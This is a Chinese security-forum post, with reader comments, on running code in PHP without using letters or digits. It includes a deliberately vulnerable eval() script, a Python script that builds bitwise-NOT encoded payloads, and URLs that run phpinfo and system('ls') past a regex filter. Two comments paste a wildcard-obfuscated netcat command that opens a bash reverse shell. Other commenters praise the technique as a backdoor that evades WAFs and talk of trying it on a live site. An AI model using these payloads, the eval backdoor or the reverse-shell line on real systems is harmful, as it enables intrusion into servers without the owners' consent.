无字母数字webshell简单利用
前几天看到这个正则过滤了大小写、数字、下划线、$
参考p牛的文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
尝试利用取反的方法进行代码执行,本地环境PHP 7.0.20-2
简单写了句生成payload代码:之后构造请求:
http://localhost/test.php?code=(~%8F%97%8F%96%91%99%90)();
执行ls测试一下:
http://localhost/test.php?code=(~%8c%86%8c%8b%9a%92)(~%93%8c);
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
参考p牛的文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
尝试利用取反的方法进行代码执行,本地环境PHP 7.0.20-2
简单写了句生成payload代码:
def get(shell):
hexbit = ''.join(map(lambda x: hex(~(-(256-ord(x)))),shell))
print hexbit.replace('0x', '%')
get('phpinfo')
http://localhost/test.php?code=(~%8F%97%8F%96%91%99%90)();
执行ls测试一下:
http://localhost/test.php?code=(~%8c%86%8c%8b%9a%92)(~%93%8c);
评论17次
很有意思又学了一招
/???/?c.??????????? -e /???/b??h 2130706433 1337https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
通配符也是挺有意思的
/???/?c.??????????? -e /???/b??h 2130706433 1337 https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
学到了学到了
感谢分享,收藏了~
太有意思了
这个后门很6,没有很明显的特征,能免杀不少墙
这个姿势不错,一会去测试测试一个有waf的站看看!~
生成payload代码好6,收藏
这个过WAF应该能过不少
生成payload代码好6,收藏
PHP 7.1.5 测试OK
看着不错 姿势比较优秀
老哥研究点新姿势出来啊,p牛最后也是通过命令执行拿到flag的
安恒月赛的题目吧
很有意思又学了一招
https://www.t00ls.com/articles-47886.html 有人发过了
没看到 尴尬
https://www.t00ls.com/articles-47886.html 有人发过了